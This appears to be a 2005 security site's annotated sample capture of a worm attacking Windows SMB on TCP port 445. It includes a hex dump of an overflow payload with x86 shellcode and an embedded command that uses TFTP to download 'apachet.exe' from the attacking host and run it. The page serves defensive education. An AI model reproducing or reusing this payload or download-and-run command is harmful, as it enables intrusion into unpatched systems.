TCP 445 Sample Capture
TCP port 445 is one of the most commonly attacked ports as there are far too
many exposed and or unpatched Windows systems on the internet, or simply are
exposed with unsecured file or resource shares (easiest system on the internet
to hack). These problems could easily be solved keeping Windows Patches up
to date and or using a Firewall (Note we suggest the use of both)
This is a sample TCP port 445 capture showing a common exploit pattern.
Note the use of TFTP to download and execute the rest of the worm, similar to
how the Blaster worm worked.
TCP Connection Request
---- 24/06/2005 03:55:56.190
68.144.78.63 : 4447 TCP Connected ID = 1
---- 24/06/2005 03:55:56.190
Status Code: 0 OK
68.144.78.63 : 4447 TCP Disconnected ID = 1
---- 24/06/2005 03:55:56.200
Status Code: 0 OK
TCP Connection Request
---- 24/06/2005 03:56:40.113
68.144.78.63 : 1412 TCP Connected ID = 1
---- 24/06/2005 03:56:40.123
Status Code: 0 OK
68.144.78.63 : 1412 TCP Data In Length 4 bytes
MD5 = D760B4F5CCA6CC4FE2BED30A6814145D
---- 24/06/2005 03:56:40.123
0 00 00 00 85 ....
68.144.78.63 : 1412 TCP Data In Length 133 bytes
MD5 = 92A7BD0633A633EE93A89908DB22697A
---- 24/06/2005 03:56:40.254
0 FF 53 4D 42 72 00 00 00 00 18 53 C8 00 00 00 00 .SMBr.....S.....
10 00 00 00 00 00 00 00 00 00 00 37 13 00 00 00 00 ..........7.....
20 00 62 00 02 50 43 20 4E 45 54 57 4F 52 4B 20 50 .b..PC NETWORK P
30 52 4F 47 52 41 4D 20 31 2E 30 00 02 4C 41 4E 4D ROGRAM 1.0..LANM
40 41 4E 31 2E 30 00 02 57 69 6E 64 6F 77 73 20 66 AN1.0..Windows f
50 6F 72 20 57 6F 72 6B 67 72 6F 75 70 73 20 33 2E or Workgroups 3.
60 31 61 00 02 4C 4D 31 2E 32 58 30 30 32 00 02 4C 1a..LM1.2X002..L
70 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 20 4C 4D 20 ANMAN2.1..NT LM
80 30 2E 31 32 00 0.12.
68.144.78.63 : 1412 TCP Data In Length 4 bytes
MD5 = 73232171F023D4F9C62E0407A11069DE
---- 24/06/2005 03:56:50.118
0 00 00 10 BF ....
68.144.78.63 : 1412 TCP Data In Length 1460 bytes
MD5 = 8A89083D4F0E4C491BCC78F435A0A079
---- 24/06/2005 03:56:50.128
0 FF 53 4D 42 73 00 00 00 00 18 07 C8 00 00 00 00 .SMBs...........
10 00 00 00 00 00 00 00 00 00 00 37 13 00 00 00 00 ..........7.....
20 0C FF 00 00 00 04 11 0A 00 00 00 00 00 00 00 7E ...............~
30 10 00 00 00 00 D4 00 00 80 7E 10 60 82 10 7A 06 .........~.`..z.
40 06 2B 06 01 05 05 02 A0 82 10 6E 30 82 10 6A A1 .+........n0..j.
50 82 10 66 23 82 10 62 03 82 04 01 00 41 41 41 41 ..f#..b.....AAAA
60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
70 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
80 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
90 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
110 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
140 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
160 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
170 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
180 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
190 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
200 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
210 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
220 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
230 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
240 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
250 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
260 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
270 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
280 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
290 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
300 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
310 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
320 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
330 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
340 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
350 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
360 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
370 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
380 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
390 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
400 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
410 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
420 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
430 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
440 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
450 41 41 41 41 41 41 41 41 41 41 41 41 03 00 23 82 AAAAAAAAAAAA..#.
460 0C 57 03 82 04 0A 00 90 42 90 42 90 42 90 42 81 .W......B.B.B.B.
470 C4 54 F2 FF FF FC E8 46 00 00 00 8B 45 3C 8B 7C .T.....F....E<.|
480 05 78 01 EF 8B 4F 18 8B 5F 20 01 EB E3 2E 49 8B .x...O.._ ....I.
490 34 8B 01 EE 31 C0 99 AC 84 C0 74 07 C1 CA 0D 01 4...1.....t.....
4A0 C2 EB F4 3B 54 24 04 75 E3 8B 5F 24 01 EB 66 8B ...;T$.u.._$..f.
4B0 0C 4B 8B 5F 1C 01 EB 8B 1C 8B 01 EB 89 5C 24 04 .K._.........\$.
4C0 C3 31 C0 64 8B 40 30 85 C0 78 0F 8B 40 0C 8B 70 .1.d.@0..x..@..p
4D0 1C AD 8B 68 08 E9 0B 00 00 00 8B 40 34 05 7C 00 ...h.......@4.|.
4E0 00 00 8B 68 3C 5F 31 F6 60 56 EB 0D 68 EF CE E0 ...h<_1.`V..h...
4F0 60 68 98 FE 8A 0E 57 FF E7 E8 EE FF FF FF 63 6D `h....W.......cm
500 64 20 2F 63 20 74 66 74 70 20 2D 69 20 36 38 2E d /c tftp -i 68.
510 31 34 34 2E 37 38 2E 36 33 20 47 45 54 20 61 70 144.78.63 GET ap
520 61 63 68 65 74 2E 65 78 65 26 73 74 61 72 74 20 achet.exe&start
530 61 70 61 63 68 65 74 2E 65 78 65 26 65 78 69 74 apachet.exe&exit
540 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB
550 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
560 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
570 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
580 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
590 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
5A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
5B0 42 42 42 42 BBBB
68.144.78.63 : 1412 TCP Data In Length 1460 bytes
MD5 = E67640049F540C1BEC2AA15347CC3490
---- 24/06/2005 03:56:50.168
0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
10 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
20 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
30 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
40 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
50 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
60 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
70 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
80 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
90 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
B0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
C0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
D0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
E0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
F0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
100 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
110 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
120 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
130 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
140 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
150 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
160 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
170 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
180 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
190 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1B0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1C0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1D0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1E0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1F0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
200 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
210 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
220 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
230 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
240 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
250 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
260 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
270 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
280 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
290 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
2A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
2B0 42 42 42 42 42 42 42 42 42 42 42 42 23 0A 03 08 BBBBBBBBBBBB#...
2C0 00 F8 0F 01 00 F8 0F 01 23 82 08 39 03 82 04 11 ........#..9....
2D0 00 43 43 43 43 20 F0 FD 7F 53 56 57 66 81 EC 80 .CCCC ..SVWf...
2E0 00 89 E6 E8 ED 00 00 00 FF 36 68 09 12 D6 63 E8 .........6h...c.
2F0 F7 00 00 00 89 46 08 E8 A2 00 00 00 FF 76 04 68 .....F.......v.h
300 6B D0 2B CA E8 E2 00 00 00 89 46 0C E8 3F 00 00 k.+.......F..?..
310 00 FF 76 04 68 FA 97 02 4C E8 CD 00 00 00 31 DB ..v.h...L.....1.
320 68 10 04 00 00 53 FF D0 89 C3 56 8B 76 10 89 C7 h....S....V.v...
330 B9 10 04 00 00 F3 A4 5E 31 C0 50 50 50 53 50 50 .......^1.PPPSPP
340 FF 56 0C 8B 46 08 66 81 C4 80 00 5F 5E 5B FF E0 .V..F.f...._^[..
350 60 E8 23 00 00 00 8B 44 24 0C 8D 58 7C 83 43 3C `.#....D$..X|.C<
360 05 81 43 28 00 10 00 00 81 63 28 00 F0 FF FF 8B ..C(.....c(.....
370 04 24 83 C4 14 50 31 C0 C3 31 D2 64 FF 32 64 89 .$...P1..1.d.2d.
380 22 31 DB B8 90 42 90 42 31 C9 B1 02 89 DF F3 AF "1...B.B1.......
390 74 03 43 EB F3 89 7E 10 64 8F 02 58 61 C3 60 BF t.C...~.d..Xa.`.
3A0 20 F0 FD 7F 8B 1F 8B 46 08 89 07 8B 7F F8 81 C7 .....F.......
3B0 78 01 00 00 89 F9 39 19 74 04 8B 09 EB F8 89 FA x.....9.t.......
3C0 39 5A 04 74 05 8B 52 04 EB F6 89 11 89 4A 04 C6 9Z.t..R......J..
3D0 43 FD 01 61 C3 A1 0C F0 FD 7F 8B 40 1C 8B 58 08 C..a......@..X.
3E0 89 1E 8B 00 8B 40 08 89 46 04 C3 60 8B 6C 24 28 .....@..F..`.l$(
3F0 8B 45 3C 8B 54 05 78 01 EA 8B 4A 18 8B 5A 20 01 .E<.T.x...J..Z .
400 EB E3 38 49 8B 34 8B 01 EE 31 FF 31 C0 FC AC 38 ..8I.4...1.1...8
410 E0 74 07 C1 CF 0D 01 C7 EB F4 3B 7C 24 24 75 E1 .t........;|$$u.
420 8B 5A 24 01 EB 66 8B 0C 4B 8B 5A 1C 01 EB 8B 04 .Z$..f..K.Z.....
430 8B 01 E8 89 44 24 1C 61 C2 08 00 EB FE 43 43 43 ....D$.a.....CCC
440 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
450 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
460 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
470 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
480 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
490 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4F0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
500 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
510 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
520 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
530 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
540 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
550 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
560 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
570 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
580 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
590 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
5A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
5B0 43 43 43 43 CCCC
68.144.78.63 : 1412 TCP Data In Length 1367 bytes
MD5 = 9E10B560930BF1D6931B856DD5A527BC
---- 24/06/2005 03:56:50.208
0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
10 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
20 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
30 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
40 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
50 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
60 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
70 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
80 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
90 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
F0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
100 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
110 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
120 43 43 43 43 43 43 43 43 43 43 43 43 43 23 82 04 CCCCCCCCCCCCC#..
130 20 03 09 00 EB 06 90 90 90 90 90 90 03 82 04 11 ...............
140 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 .DDDDDDDDDDDDDDD
150 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
160 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
170 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
180 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
190 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1A0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1B0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1C0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1D0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1E0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1F0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
200 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
210 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
220 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
230 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
240 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
250 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
260 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
270 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
280 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
290 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2A0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2B0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2C0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2D0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2E0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2F0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
300 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
310 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
320 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
330 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
340 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
350 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
360 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
370 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
380 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
390 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
3A0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
3B0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
3C0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
3D0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
3E0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
3F0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
